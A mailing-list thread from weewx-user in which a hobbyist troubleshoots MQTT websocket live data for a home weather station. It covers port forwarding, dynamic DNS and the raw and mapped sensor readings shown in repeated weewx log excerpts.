>>>> 'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887851,
>>>> 'temperature.4264.24C86E0936CB': 73.4,
>>>> 'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB':
>>>> 75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB',
>>>> 'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> mapped packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 56.0,
>>>> 'dateTime': 1569887851, 'pressure': 29.31, 'rxCheckPercent': 75.0,
>>>> 'usUnits': 1}
>>>> Sep 30 19:57:31 raspberrypi weewx[23528]: restx: MQTT: Published record
>>>> 2019-09-30 19:57:31 EDT (1569887851)
>>>> Sep 30 19:57:41 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> empty queue
>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: ServerThread:
>>>> GET:
>>>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>> data:
>>>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> ignored parameter realtime=1
>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> ignored parameter rainin=0.00
>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> ignored parameter action=updateraw
>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw
>>>> packet: {'rainfall.0583.24C86E0936CB': 0.0,
>>>> 'battery.0583.24C86E0936CB': 0, 'sensor_id.0583.24C86E0936CB':
>>>> '0583', 'rssi.0583.24C86E0936CB': 75.0,
>>>> 'windspeed.0583.24C86E0936CB': 0.0, 'winddir.0583.24C86E0936CB':
>>>> 338.0, 'dateTime': 1569887864, 'pressure.0583.24C86E0936CB': 29.31,
>>>> 'usUnits.0583.24C86E0936CB': 1, 'rain_total.0583.24C86E0936CB':
>>>> 0.0, 'bridge_id.0583.24C86E0936CB': '24C86E0936CB',
>>>> 'dateTime.0583.24C86E0936CB': 1569887864,
>>>> 'sensor_type.0583.24C86E0936CB': '5N1x31', 'usUnits': 1}
>>>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>>>> mapped packet: {'txBatteryStatus': 0, 'rain': 0.0, 'dateTime': 1569887864,
>>>> 'windDir': 338.0, 'pressure': 29.31, 'windSpeed': 0.0, 

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

I'm home from work now and reset it.
I'm not sure why it shut down...

On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:

> Looks like it's down again or you have a firewall issue again.
>
> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt' failed:
> Unknown reason
>
>
> On Monday, September 30, 2019 at 10:26:05 PM UTC-4, K Weaver wrote:
>>
>> Hey, its back up and running now. Only thing now it appears to be
>> flipping between raw data and real time data..
>>
>>
>> Here is a snippet of the log.  You can really see it flipping back and
>> forth on the site.
>>
>>
>> ': 1}
>> Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published record
>> 2019-09-30 19:57:26 EDT (1569887846)
>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: ServerThread: GET:
>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw
>> data:
>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>> ignored parameter realtime=1
>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread:
>> ignored parameter action=updateraw
>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw
>> packet: {'sensor_type.4264.24C86E0936CB': 'tower',
>> 'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB':
>> '4264', 'dateTime.4264.24C86E0936CB': 1569887851,
>> 'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887851,
>> 'temperature.4264.24C86E0936CB': 73.4,
>> 'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB':
>> 75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB',
>> 'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
>> Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: mapped
>> packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 56.0,
>> 'dateTime': 1569887851, 'pressure': 29.31, 'rxCheckPercent': 75.0,
>> 'usUnits': 1}
>> Sep 30 19:57:31 raspberrypi weewx[23528]: restx: MQTT: Published record
>> 2019-09-30 19:57:31 EDT (1569887851)
>> Sep 30 19:57:41 raspberrypi weewx[23528]: interceptor: MainThread: empty
>> queue
>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: ServerThread: GET:
>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw
>> data:
>> dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>> ignored parameter realtime=1
>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>> ignored parameter rainin=0.00
>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread:
>> ignored parameter action=updateraw
>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw
>> packet: {'rainfall.0583.24C86E0936CB': 0.0,
>> 'battery.0583.24C86E0936CB': 0, 'sensor_id.0583.24C86E0936CB':
>> '0583', 'rssi.0583.24C86E0936CB': 75.0,
>> 'windspeed.0583.24C86E0936CB': 0.0, 'winddir.0583.24C86E0936CB':
>> 338.0, 'dateTime': 1569887864, 'pressure.0583.24C86E0936CB': 29.31,
>> 'usUnits.0583.24C86E0936CB': 1, 'rain_total.0583.24C86E0936CB':
>> 0.0, 'bridge_id.0583.24C86E0936CB': '24C86E0936CB',
>> 'dateTime.0583.24C86E0936CB': 1569887864,
>> 'sensor_type.0583.24C86E0936CB': '5N1x31', 'usUnits': 1}
>> Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: mapped
>> packet: {'txBatteryStatus': 0, 'rain': 0.0, 'dateTime': 1569887864,
>> 'windDir': 338.0, 'pressure': 29.31, 'windSpeed': 0.0, 'rxCheckPercent':
>> 75.0, 'usUnits': 1}
>> Sep 30 19:57:44 raspberrypi weewx[23528]: restx: MQTT: Published record
>> 2019-09-30 19:57:44 EDT (1569887864)
>> Sep 30 19:57:46 raspberrypi weewx[23528]: interceptor: ServerThread: GET:
>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>> Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread: raw
>> data:
>> dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
>> Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread:
>> ignored parameter realtime=1
>> Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread:
>> ignored parameter action=updateraw
>> Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread: raw
>> packet: {'sensor_type.4264.

[weewx-user] MQTT posting multiple instances of temperature and on website

[K Weaver]

http://mosscreekweather.org/weewx/  is my page.

It is posting both raw data and adjusted (real).  It keeps flipping between 
the two. There is normally about a 5 degree temp distance and the Dew point 
and humidity are normally way off.   Any ideas whats causing this and what 
I need to do to resolve ?

Thanks in advance.


Sep 30 23:33:59 raspberrypi weewx[28075]: restx: MQTT: Published record 
2019-09-30 23:34:00 EDT (1569900840)
Sep 30 23:34:03 raspberrypi weewx[28075]: interceptor: ServerThread: GET: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=74.3=29.33=low=3
Sep 30 23:34:03 raspberrypi weewx[28075]: interceptor: MainThread: raw 
data: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=74.3=29.33=low=3
Sep 30 23:34:03 raspberrypi weewx[28075]: interceptor: MainThread: ignored 
parameter realtime=1
Sep 30 23:34:03 raspberrypi weewx[28075]: interceptor: MainThread: ignored 
parameter action=updateraw
Sep 30 23:34:03 raspberrypi weewx[28075]: interceptor: MainThread: raw 
packet: {'sensor_type.4264.24C86E0936CB': 'tower', 
'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB': 
'4264', 'dateTime.4264.24C86E0936CB': 1569900843, 
'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569900843, 
'temperature.4264.24C86E0936CB': 74.3, 
'pressure.4264.24C86E0936CB': 29.33, 'rssi.4264.24C86E0936CB': 
75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB', 
'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
Sep 30 23:34:03 raspberrypi weewx[28075]: interceptor: MainThread: mapped 
packet: {'txBatteryStatus': 1, 'outTemp': 74.3, 'outHumidity': 56.0, 
'dateTime': 1569900843, 'pressure': 29.33, 'rxCheckPercent': 75.0, 
'usUnits': 1}
Sep 30 23:34:03 raspberrypi weewx[28075]: restx: MQTT: Published record 
2019-09-30 23:34:03 EDT (1569900843)
Sep 30 23:34:13 raspberrypi weewx[28075]: interceptor: MainThread: empty 
queue
Sep 30 23:34:18 raspberrypi weewx[28075]: interceptor: ServerThread: GET: 
dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=23=0.00=0.00=29.34=normal=3
Sep 30 23:34:18 raspberrypi weewx[28075]: interceptor: MainThread: raw 
data: 
dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=23=0.00=0.00=29.34=normal=3
Sep 30 23:34:18 raspberrypi weewx[28075]: interceptor: MainThread: ignored 
parameter realtime=1
Sep 30 23:34:18 raspberrypi weewx[28075]: interceptor: MainThread: ignored 
parameter rainin=0.00
Sep 30 23:34:18 raspberrypi weewx[28075]: interceptor: MainThread: ignored 
parameter action=updateraw
Sep 30 23:34:18 raspberrypi weewx[28075]: interceptor: MainThread: raw 
packet: {'rainfall.0583.24C86E0936CB': 0.0, 
'battery.0583.24C86E0936CB': 0, 'sensor_id.0583.24C86E0936CB': 
'0583', 'rssi.0583.24C86E0936CB': 75.0, 
'windspeed.0583.24C86E0936CB': 0.0, 'winddir.0583.24C86E0936CB': 
23.0, 'dateTime': 1569900858, 'pressure.0583.24C86E0936CB': 29.34, 
'usUnits.0583.24C86E0936CB': 1, 'rain_total.0583.24C86E0936CB': 
0.0, 'bridge_id.0583.24C86E0936CB': '24C86E0936CB', 
'dateTime.0583.24C86E0936CB': 1569900858, 
'sensor_type.0583.24C86E0936CB': '5N1x31', 'usUnits': 1}
Sep 30 23:34:18 raspberrypi weewx[28075]: interceptor: MainThread: mapped 
packet: {'txBatteryStatus': 0, 'rain': 0.0, 'dateTime': 1569900858, 
'windDir': 23.0, 'pressure': 29.34, 'windSpeed': 0.0, 'rxCheckPercent': 
75.0, 'usUnits': 1}
Sep 30 23:34:18 raspberrypi weewx[28075]: restx: MQTT: Published record 
2019-09-30 23:34:18 EDT (1569900858)
Sep 30 23:34:19 raspberrypi weewx[28075]: interceptor: ServerThread: GET: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=74.3=29.34=low=3
Sep 30 23:34:19 raspberrypi weewx[28075]: interceptor: MainThread: raw 
data: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=74.3=29.34=low=3
Sep 30 23:34:19 raspberrypi weewx[28075]: interceptor: MainThread: ignored 
parameter realtime=1
Sep 30 23:34:19 raspberrypi weewx[28075]: interceptor: MainThread: ignored 
parameter action=updateraw
Sep 30 23:34:19 raspberrypi weewx[28075]: interceptor: MainThread: raw 
packet: {'sensor_type.4264.24C86E0936CB': 'tower', 
'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB': 
'4264', 'dateTime.4264.24C86E0936CB': 1569900859, 
'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569900859, 
'temperature.4264.24C86E0936CB': 74.3, 
'pressure.4264.24C86E0936CB': 29.34, 'rssi.4264.24C86E0936CB': 
75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB', 
'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
Sep 30 23:34:19 raspberrypi weewx[28075]: interceptor: MainThread: mapped 
packet: {'txBatteryStatus': 1, 'outTemp': 74.3, 'outHumidity': 56.0, 
'dateTime': 1569900859, 'pressure': 29.34, 'rxCheckPercent': 75.0, 
'usUnits': 1}
Sep 30 23:34:19 raspberrypi weewx[28075]: restx: MQTT: Published record 
2019-09-30 23:34:19 EDT (1569900859)
Sep 30 23:34:19 raspberrypi weewx[28075]: interceptor: ServerThread: GET: 

[weewx-user] Re: Mqtt live data

[K Weaver]

Hey, its back up and running now. Only thing now it appears to be  flipping 
between raw data and real time data..


Here is a snippet of the log.  You can really see it flipping back and 
forth on the site.  


': 1}
Sep 30 19:57:26 raspberrypi weewx[23528]: restx: MQTT: Published record 
2019-09-30 19:57:26 EDT (1569887846)
Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: ServerThread: GET: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw 
data: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: ignored 
parameter realtime=1
Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: ignored 
parameter action=updateraw
Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: raw 
packet: {'sensor_type.4264.24C86E0936CB': 'tower', 
'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB': 
'4264', 'dateTime.4264.24C86E0936CB': 1569887851, 
'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887851, 
'temperature.4264.24C86E0936CB': 73.4, 
'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB': 
75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB', 
'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
Sep 30 19:57:31 raspberrypi weewx[23528]: interceptor: MainThread: mapped 
packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 56.0, 
'dateTime': 1569887851, 'pressure': 29.31, 'rxCheckPercent': 75.0, 
'usUnits': 1}
Sep 30 19:57:31 raspberrypi weewx[23528]: restx: MQTT: Published record 
2019-09-30 19:57:31 EDT (1569887851)
Sep 30 19:57:41 raspberrypi weewx[23528]: interceptor: MainThread: empty 
queue
Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: ServerThread: GET: 
dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw 
data: 
dateutc=now=updateraw=1=24C86E0936CB=5N1x31=0583=0=338=0.00=0.00=29.31=normal=3
Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: ignored 
parameter realtime=1
Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: ignored 
parameter rainin=0.00
Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: ignored 
parameter action=updateraw
Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: raw 
packet: {'rainfall.0583.24C86E0936CB': 0.0, 
'battery.0583.24C86E0936CB': 0, 'sensor_id.0583.24C86E0936CB': 
'0583', 'rssi.0583.24C86E0936CB': 75.0, 
'windspeed.0583.24C86E0936CB': 0.0, 'winddir.0583.24C86E0936CB': 
338.0, 'dateTime': 1569887864, 'pressure.0583.24C86E0936CB': 29.31, 
'usUnits.0583.24C86E0936CB': 1, 'rain_total.0583.24C86E0936CB': 
0.0, 'bridge_id.0583.24C86E0936CB': '24C86E0936CB', 
'dateTime.0583.24C86E0936CB': 1569887864, 
'sensor_type.0583.24C86E0936CB': '5N1x31', 'usUnits': 1}
Sep 30 19:57:44 raspberrypi weewx[23528]: interceptor: MainThread: mapped 
packet: {'txBatteryStatus': 0, 'rain': 0.0, 'dateTime': 1569887864, 
'windDir': 338.0, 'pressure': 29.31, 'windSpeed': 0.0, 'rxCheckPercent': 
75.0, 'usUnits': 1}
Sep 30 19:57:44 raspberrypi weewx[23528]: restx: MQTT: Published record 
2019-09-30 19:57:44 EDT (1569887864)
Sep 30 19:57:46 raspberrypi weewx[23528]: interceptor: ServerThread: GET: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread: raw 
data: 
dateutc=now=updateraw=1=24C86E0936CB=tower=4264=56=73.4=29.31=low=3
Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread: ignored 
parameter realtime=1
Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread: ignored 
parameter action=updateraw
Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread: raw 
packet: {'sensor_type.4264.24C86E0936CB': 'tower', 
'battery.4264.24C86E0936CB': 1, 'sensor_id.4264.24C86E0936CB': 
'4264', 'dateTime.4264.24C86E0936CB': 1569887867, 
'humidity.4264.24C86E0936CB': 56.0, 'dateTime': 1569887867, 
'temperature.4264.24C86E0936CB': 73.4, 
'pressure.4264.24C86E0936CB': 29.31, 'rssi.4264.24C86E0936CB': 
75.0, 'bridge_id.4264.24C86E0936CB': '24C86E0936CB', 
'usUnits.4264.24C86E0936CB': 1, 'usUnits': 1}
Sep 30 19:57:47 raspberrypi weewx[23528]: interceptor: MainThread: mapped 
packet: {'txBatteryStatus': 1, 'outTemp': 73.4, 'outHumidity': 56.0, 
'dateTime': 1569887867, 'pressure': 29.31, 'rxCheckPercent': 75.0, 
'usUnits': 1}
Sep 30 19:57:47 raspberrypi weewx[23528]: restx: MQTT: Published record 
2019-09-30 19:57:47 EDT (1569887867)

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.

Re: [weewx-user] Mqtt live data

[K Weaver]

Hey, I tried to add MaxSolar and screwed up my weewx.sdb

So I had to go back a few steps. For some reason now I cant get duckdns to
authenticate.

On Fri, Sep 20, 2019, 8:13 AM Eric Mears  wrote:

> It's still not working for me:
>
> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt' failed:
> Error in connection establishment: net::ERR_ADDRESS_UNREACHABLE
>
>
> mosscrkmqtt.duckdns.org resolves
>
> $ dig mosscrkmqtt.duckdns.org
>
>
> ; <<>> DiG 9.10.6 <<>> mosscrkmqtt.duckdns.org
>
> ;; global options: +cmd
>
> ;; Got answer:
>
> ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13595
>
> ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
>
>
> ;; OPT PSEUDOSECTION:
>
> ; EDNS: version: 0, flags:; udp: 4000
>
> ;; QUESTION SECTION:
>
> ;mosscrkmqtt.duckdns.org. IN A
>
>
> ;; ANSWER SECTION:
>
> mosscrkmqtt.duckdns.org. 58 IN A 75.190.103.181
>
>
> ;; Query time: 154 msec
>
> ;; SERVER: 192.168.0.91#53(192.168.0.91)
>
> ;; WHEN: Wed Sep 18 07:01:49 PDT 2019
>
> ;; MSG SIZE  rcvd: 68
>
>
>
> but I can't open port 9001
>
>
>
> $ telnet mosscrkmqtt.duckdns.org 9001
>
> Trying 75.190.103.181...
>
> telnet: connect to address 75.190.103.181: Network is unreachable
>
> telnet: Unable to connect to remote host
>
>
>
>
> Can you confirm port 9001 is open to the outside world and is port
> forwarding to your weewx computer host?
>
>
>
> Eric
>
>
>
>
>
>
>
>
> On Tue, Sep 17, 2019 at 8:36 PM K Weaver  wrote:
>
>> Ok, problem solved. I put my dynamic DNS in the web socket host location
>> and it looks all good now.
>>
>> On Tue, Sep 17, 2019, 7:54 PM K Weaver  wrote:
>>
>>> The 162 IP may be my dynamic  dns...
>>>
>>> On Tue, Sep 17, 2019, 7:38 PM Eric Mears  wrote:
>>>
>>>> I'm seeing this when I use the chrome debugger:
>>>>
>>>>  mqttws31.min.js:36 WebSocket connection to 'ws://
>>>> 192.168.86.51:9001/mqtt' failed: Error in connection establishment:
>>>> net::ERR_CONNECTION_TIMED_OUT
>>>>
>>>>
>>>> I don't think  192.168.86.51 is right,  mosscreekweather.org is
>>>> mapping to 162.241.244.37
>>>>
>>>> Did you open port 9001 to the outside world on your router?
>>>>
>>>>
>>>> Eric
>>>>
>>>>
>>>> On Tue, Sep 17, 2019 at 2:52 PM K Weaver  wrote:
>>>>
>>>>> I have mqtt up and running with mo errors. 1883 for the port and 9001
>>>>> for the web socket.
>>>>>
>>>>> When Im home on the wifi I can connect and get the green flashing dot.
>>>>> Over the web outside my network it gets the pending connection message.
>>>>>
>>>>> I can post logs later if needed. I was hoping I was missing something
>>>>> simple.
>>>>>
>>>>> Mosscreekweather.org/weewx
>>>>>
>>>>> --
>>>>> You received this message because you are subscribed to the Google
>>>>> Groups "weewx-user" group.
>>>>> To unsubscribe from this group and stop receiving emails from it, send
>>>>> an email to weewx-user+unsubscr...@googlegroups.com.
>>>>> To view this discussion on the web visit
>>>>> https://groups.google.com/d/msgid/weewx-user/8e9d790d-75bd-4fea-b0b2-e34ce063%40googlegroups.com
>>>>> .
>>>>>
>>>> --
>>>> You received this message because you are subscribed to the Google
>>>> Groups "weewx-user" group.
>>>> To unsubscribe from this group and stop receiving emails from it, send
>>>> an email to weewx-user+unsubscr...@googlegroups.com.
>>>> To view this discussion on the web visit
>>>> https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com
>>>> <https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com?utm_medium=email_source=footer>
>>>> .
>>>>
>>> --
>> You received this message because you are subscribed to the Google Groups
>> "weewx-user" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to weewx-user+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/weewx-user/CA

Re: [weewx-user] Mqtt live data

[K Weaver]

Ok, problem solved. I put my dynamic DNS in the web socket host location
and it looks all good now.

On Tue, Sep 17, 2019, 7:54 PM K Weaver  wrote:

> The 162 IP may be my dynamic  dns...
>
> On Tue, Sep 17, 2019, 7:38 PM Eric Mears  wrote:
>
>> I'm seeing this when I use the chrome debugger:
>>
>>  mqttws31.min.js:36 WebSocket connection to 'ws://
>> 192.168.86.51:9001/mqtt' failed: Error in connection establishment:
>> net::ERR_CONNECTION_TIMED_OUT
>>
>>
>> I don't think  192.168.86.51 is right,  mosscreekweather.org is mapping
>> to 162.241.244.37
>>
>> Did you open port 9001 to the outside world on your router?
>>
>>
>> Eric
>>
>>
>> On Tue, Sep 17, 2019 at 2:52 PM K Weaver  wrote:
>>
>>> I have mqtt up and running with mo errors. 1883 for the port and 9001
>>> for the web socket.
>>>
>>> When Im home on the wifi I can connect and get the green flashing dot.
>>> Over the web outside my network it gets the pending connection message.
>>>
>>> I can post logs later if needed. I was hoping I was missing something
>>> simple.
>>>
>>> Mosscreekweather.org/weewx
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "weewx-user" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to weewx-user+unsubscr...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/weewx-user/8e9d790d-75bd-4fea-b0b2-e34ce063%40googlegroups.com
>>> .
>>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "weewx-user" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to weewx-user+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com
>> <https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com?utm_medium=email_source=footer>
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CAJ3%3D2yWV797-Vt5L-kW%3DpdudCmtPaB8qA5hOYr52SmGwZX73mA%40mail.gmail.com.

Re: [weewx-user] Mqtt live data

[K Weaver]

The 162 IP may be my dynamic  dns...

On Tue, Sep 17, 2019, 7:38 PM Eric Mears  wrote:

> I'm seeing this when I use the chrome debugger:
>
>  mqttws31.min.js:36 WebSocket connection to 'ws://
> 192.168.86.51:9001/mqtt' failed: Error in connection establishment:
> net::ERR_CONNECTION_TIMED_OUT
>
>
> I don't think  192.168.86.51 is right,  mosscreekweather.org is mapping
> to 162.241.244.37
>
> Did you open port 9001 to the outside world on your router?
>
>
> Eric
>
>
> On Tue, Sep 17, 2019 at 2:52 PM K Weaver  wrote:
>
>> I have mqtt up and running with mo errors. 1883 for the port and 9001 for
>> the web socket.
>>
>> When Im home on the wifi I can connect and get the green flashing dot.
>> Over the web outside my network it gets the pending connection message.
>>
>> I can post logs later if needed. I was hoping I was missing something
>> simple.
>>
>> Mosscreekweather.org/weewx
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "weewx-user" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to weewx-user+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/weewx-user/8e9d790d-75bd-4fea-b0b2-e34ce063%40googlegroups.com
>> .
>>
> --
> You received this message because you are subscribed to the Google Groups
> "weewx-user" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to weewx-user+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com
> <https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com?utm_medium=email_source=footer>
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CAJ3%3D2yUaz13toz5N-scHgjXU1Ck-_W%3DP_ttD6xYWSMtpdOpHbA%40mail.gmail.com.

Re: [weewx-user] Mqtt live data

[K Weaver]

It does appear 9001 is closed on the raspberry pi side. I took when it was
forwarded it was open

On Tue, Sep 17, 2019, 7:38 PM Eric Mears  wrote:

> I'm seeing this when I use the chrome debugger:
>
>  mqttws31.min.js:36 WebSocket connection to 'ws://
> 192.168.86.51:9001/mqtt' failed: Error in connection establishment:
> net::ERR_CONNECTION_TIMED_OUT
>
>
> I don't think  192.168.86.51 is right,  mosscreekweather.org is mapping
> to 162.241.244.37
>
> Did you open port 9001 to the outside world on your router?
>
>
> Eric
>
>
> On Tue, Sep 17, 2019 at 2:52 PM K Weaver  wrote:
>
>> I have mqtt up and running with mo errors. 1883 for the port and 9001 for
>> the web socket.
>>
>> When Im home on the wifi I can connect and get the green flashing dot.
>> Over the web outside my network it gets the pending connection message.
>>
>> I can post logs later if needed. I was hoping I was missing something
>> simple.
>>
>> Mosscreekweather.org/weewx
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "weewx-user" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to weewx-user+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/weewx-user/8e9d790d-75bd-4fea-b0b2-e34ce063%40googlegroups.com
>> .
>>
> --
> You received this message because you are subscribed to the Google Groups
> "weewx-user" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to weewx-user+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com
> <https://groups.google.com/d/msgid/weewx-user/CACzmTWfW_feh2j-X3AsXu7CF2PxDGYeVO1iGz2XqNswLt0M0Eg%40mail.gmail.com?utm_medium=email_source=footer>
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CAJ3%3D2yW_hg6CCWHRB8govY6o_Lvq1JN8sJ9WrnDNoKMRYssDZQ%40mail.gmail.com.

[weewx-user] Mqtt live data

